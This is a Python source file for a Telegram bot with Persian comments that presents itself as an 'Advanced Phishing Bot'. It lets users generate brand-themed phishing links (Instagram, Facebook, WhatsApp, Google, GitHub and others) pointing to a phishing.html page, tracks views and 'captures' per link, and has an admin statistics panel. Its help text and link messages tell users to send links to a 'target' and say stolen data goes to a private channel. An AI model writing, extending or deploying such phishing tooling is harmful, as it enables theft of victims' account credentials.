#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# ==========================================
# bot.py - Telegram Bot with Webhook (Pure Python)
# ==========================================

import json
import time
import random
import urllib.request
import urllib.parse
import os
from datetime import datetime

# تنظیمات
from config import *

# ==========================================
# توابع ارسال به تلگرام
# ==========================================

def send_request(url, data):
    """ارسال درخواست به تلگرام"""
    try:
        req = urllib.request.Request(
            url,
            data=json.dumps(data).encode('utf-8'),
            headers={'Content-Type': 'application/json'}
        )
        with urllib.request.urlopen(req, timeout=10) as response:
            return json.loads(response.read().decode('utf-8'))
    except Exception as e:
        print(f"Error: {e}")
        return None

def send_message(chat_id, text, reply_markup=None):
    """ارسال پیام"""
    url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage"
    data = {
        'chat_id': chat_id,
        'text': text,
        'parse_mode': 'Markdown'
    }
    if reply_markup:
        data['reply_markup'] = reply_markup
    return send_request(url, data)

def edit_message(chat_id, message_id, text, reply_markup=None):
    """ویرایش پیام"""
    url = f"https://api.telegram.org/bot{BOT_TOKEN}/editMessageText"
    data = {
        'chat_id': chat_id,
        'message_id': message_id,
        'text': text,
        'parse_mode': 'Markdown'
    }
    if reply_markup:
        data['reply_markup'] = reply_markup
    return send_request(url, data)

def answer_callback(callback_id, text=None, alert=False):
    """پاسخ به Callback"""
    url = f"https://api.telegram.org/bot{BOT_TOKEN}/answerCallbackQuery"
    data = {'callback_query_id': callback_id}
    if text:
        data['text'] = text
        data['show_alert'] = alert
    return send_request(url, data)

# ==========================================
# کیبوردهای شیشه‌ای (Inline Keyboard)
# ==========================================

def main_keyboard():
    """منوی اصلی"""
    return json.dumps({
        'keyboard': [
            ['🔗 New Link', '📋 My Links'],
            ['📊 My Stats', '👤 Profile'],
            ['🆘 Help', '📢 Channel']
        ],
        'resize_keyboard': True
    })

def link_types_keyboard():
    """انواع لینک"""
    return json.dumps({
        'inline_keyboard': [
            [{'text': '📸 Instagram', 'callback_data': 'type_instagram'}, {'text': '✈️ Telegram', 'callback_data': 'type_telegram'}],
            [{'text': '📘 Facebook', 'callback_data': 'type_facebook'}, {'text': '📱 Rubika', 'callback_data': 'type_rubika'}],
            [{'text': '💬 WhatsApp', 'callback_data': 'type_whatsapp'}, {'text': '🐦 Twitter', 'callback_data': 'type_twitter'}],
            [{'text': '🐙 GitHub', 'callback_data': 'type_github'}, {'text': '🔍 Google', 'callback_data': 'type_google'}],
            [{'text': '🎵 Spotify', 'callback_data': 'type_spotify'}, {'text': '🎨 Custom', 'callback_data': 'type_custom'}]
        ]
    })

def back_keyboard():
    """دکمه بازگشت"""
    return json.dumps({
        'inline_keyboard': [
            [{'text': '🔙 Back', 'callback_data': 'back'}]
        ]
    })

def admin_keyboard():
    """پنل ادمین"""
    return json.dumps({
        'inline_keyboard': [
            [{'text': '📊 Statistics', 'callback_data': 'admin_stats'}],
            [{'text': '📢 Broadcast', 'callback_data': 'admin_broadcast'}]
        ]
    })

def channel_keyboard():
    """دکمه عضویت در کانال"""
    return json.dumps({
        'inline_keyboard': [
            [{'text': '📢 Join Channel', 'url': CHANNEL_LINK}]
        ]
    })

def join_keyboard():
    """عضویت اجباری"""
    return json.dumps({
        'inline_keyboard': [
            [{'text': '📢 Join Channel', 'url': CHANNEL_LINK}],
            [{'text': '✅ I Joined', 'callback_data': 'check_join'}]
        ]
    })

# ==========================================
# مدیریت لینک‌ها (JSON)
# ==========================================

def get_all_links():
    """دریافت تمام لینک‌ها از فایل JSON"""
    if not os.path.exists('links.json'):
        return []
    with open('links.json', 'r', encoding='utf-8') as f:
        try:
            return json.load(f)
        except:
            return []

def save_link(user_id, link_id, link_type):
    """ذخیره لینک جدید"""
    links = get_all_links()
    links.append({
        'link_id': link_id,
        'user_id': str(user_id),
        'type': link_type,
        'created_at': datetime.now().strftime('%Y-%m-%d %H:%M:%S'),
        'views': 0,
        'captures': 0
    })
    with open('links.json', 'w', encoding='utf-8') as f:
        json.dump(links, f, indent=2, ensure_ascii=False)

def update_link_stats(link_id, field):
    """به‌روزرسانی آمار لینک"""
    links = get_all_links()
    for i, link in enumerate(links):
        if link['link_id'] == link_id:
            links[i][field] += 1
            break
    with open('links.json', 'w', encoding='utf-8') as f:
        json.dump(links, f, indent=2, ensure_ascii=False)

# ==========================================
# پردازش پیام‌ها
# ==========================================

def handle_message(message):
    """پردازش پیام دریافتی"""
    chat_id = str(message['chat']['id'])
    text = message.get('text', '')
    user_id = str(message['from']['id'])
    first_name = message['from'].get('first_name', 'User')

    # بررسی عضویت در کانال (ساده شده)
    # اگر کانال تنظیم نشده، همه را قبول کن

    # دستورات
    if text == '/start':
        send_message(chat_id, 
            f"👋 Hello {first_name}!\n\n🤖 Advanced Phishing Bot is ready.\nUse the buttons below.",
            main_keyboard()
        )

    elif text == '🔗 New Link' or text == '/make':
        send_message(chat_id, 
            "🎯 **Select phishing link type:**",
            link_types_keyboard()
        )

    elif text == '📋 My Links' or text == '/links':
        show_my_links(chat_id)

    elif text == '📊 My Stats' or text == '/stats':
        show_my_stats(chat_id)

    elif text == '👤 Profile':
        send_message(chat_id, 
            f"👤 **User Profile**\n\n🆔 ID: `{chat_id}`\n📅 Joined: {datetime.now().strftime('%Y-%m-%d')}\n\n⚡ Status: Active ✅"
        )

    elif text == '🆘 Help':
        send_message(chat_id,
            "🆘 **Help Guide**\n\n"
            "1️⃣ Click 🔗 New Link\n"
            "2️⃣ Select link type\n"
            "3️⃣ Link will be generated\n"
            "4️⃣ Send link to target\n"
            "5️⃣ Captured data goes to private channel\n\n"
            "📌 Commands:\n"
            "/start - Restart\n"
            "/make - Create link\n"
            "/links - View links\n"
            "/stats - Statistics\n"
            "/admin - Admin panel"
        )

    elif text == '📢 Channel':
        send_message(chat_id,
            f"📢 **Our Channel:**\n\n🔹 {CHANNEL_LINK}\n\n🔹 Join for updates.",
            channel_keyboard()
        )

    elif text == '/admin':
        if chat_id in ADMIN_IDS:
            links = get_all_links()
            send_message(chat_id,
                f"👑 **Admin Panel**\n\n📊 Total Links: {len(links)}",
                admin_keyboard()
            )
        else:
            send_message(chat_id, "⛔ Access denied!")

    else:
        send_message(chat_id, "❓ Unknown command.", main_keyboard())

# ==========================================
# نمایش لینک‌های کاربر
# ==========================================

def show_my_links(chat_id):
    """نمایش لینک‌های کاربر"""
    links = get_all_links()
    my_links = [l for l in links if l['user_id'] == str(chat_id)]
    
    if not my_links:
        send_message(chat_id, "📭 You haven't created any links.")
        return
    
    msg = "📋 **Your Links:**\n\n"
    for link in my_links:
        msg += f"🔹 **{link['type'].capitalize()}**\n"
        msg += f"🆔 `{link['link_id']}`\n"
        msg += f"👁️ {link['views']} views | 📥 {link['captures']} captures\n"
        msg += f"📅 {link['created_at']}\n\n"
    
    send_message(chat_id, msg)

def show_my_stats(chat_id):
    """نمایش آمار کاربر"""
    links = get_all_links()
    my_links = [l for l in links if l['user_id'] == str(chat_id)]
    
    total_links = len(my_links)
    total_views = sum(l['views'] for l in my_links)
    total_captures = sum(l['captures'] for l in my_links)
    
    send_message(chat_id,
        f"📊 **Your Statistics:**\n\n"
        f"• Total Links: `{total_links}`\n"
        f"• Total Views: `{total_views}`\n"
        f"• Total Captures: `{total_captures}`"
    )

# ==========================================
# پردازش Callback
# ==========================================

def handle_callback(callback):
    """پردازش دکمه‌های شیشه‌ای"""
    callback_id = callback['id']
    chat_id = str(callback['message']['chat']['id'])
    message_id = callback['message']['message_id']
    data = callback['data']
    user_id = str(callback['from']['id'])

    answer_callback(callback_id)

    if data == 'check_join':
        edit_message(chat_id, message_id,
            "✅ **Membership confirmed!**\n\nNow you can use the bot."
        )
        send_message(chat_id, "Welcome to the bot!", main_keyboard())
        return

    if data.startswith('type_'):
        link_type = data.replace('type_', '')
        link_id = ''.join(random.choices('0123456789abcdef', k=16))
        url = f"{SITE_URL}/phishing.html?l={link_id}"

        save_link(user_id, link_id, link_type)

        msg = (
            f"✅ **Phishing link created!**\n\n"
            f"🔗 **Type:** {link_type.capitalize()}\n"
            f"🆔 **Link ID:** `{link_id}`\n\n"
            f"📌 **Copy your link:**\n`{url}`\n\n"
            f"🔹 Send this link to your target.\n"
            f"🔹 Stolen data will be sent to private channel."
        )

        edit_message(chat_id, message_id, msg, back_keyboard())
        return

    if data == 'back':
        edit_message(chat_id, message_id, "🔙 Back to menu", main_keyboard())
        return

    if data == 'admin_stats':
        links = get_all_links()
        total = len(links)
        views = sum(l['views'] for l in links)
        captures = sum(l['captures'] for l in links)
        msg = f"📊 **Statistics:**\nLinks: {total}\nViews: {views}\nCaptures: {captures}"
        edit_message(chat_id, message_id, msg, admin_keyboard())
        return

    if data == 'admin_broadcast':
        edit_message(chat_id, message_id, "📢 Send your broadcast message:")
        # در این نسخه ساده، فقط پیام نمایش داده می‌شود
        return

# ==========================================
# پردازش درخواست Webhook
# ==========================================

def handle_webhook():
    """پردازش درخواست Webhook"""
    try:
        content_length = int(os.environ.get('CONTENT_LENGTH', 0))
        if content_length == 0:
            return
        
        post_data = sys.stdin.read(content_length)
        update = json.loads(post_data)
        
        if 'message' in update:
            handle_message(update['message'])
        elif 'callback_query' in update:
            handle_callback(update['callback_query'])
            
    except Exception as e:
        print(f"Webhook error: {e}")

# ==========================================
# اجرای Flask Server (برای Webhook)
# ==========================================

def run_flask():
    """اجرای سرور Flask برای Webhook"""
    try:
        from flask import Flask, request
        app = Flask(__name__)
        
        @app.route('/', methods=['POST'])
        def webhook():
            try:
                update = request.get_json()
                if 'message' in update:
                    handle_message(update['message'])
                elif 'callback_query' in update:
                    handle_callback(update['callback_query'])
                return '', 200
            except Exception as e:
                print(f"Error: {e}")
                return '', 500
        
        @app.route('/', methods=['GET'])
        def test():
            return 'Bot is running!'
        
        app.run(host='0.0.0.0', port=5000)
        
    except ImportError:
        # اگر Flask نصب نبود، از CGI استفاده کن
        handle_webhook()

# ==========================================
# اجرای اصلی
# ==========================================

if __name__ == '__main__':
    import sys
    
    # بررسی اینکه آیا Flask نصب است
    try:
        import flask
        run_flask()
    except ImportError:
        # اگر Flask نصب نیست، به صورت CGI اجرا کن
        handle_webhook()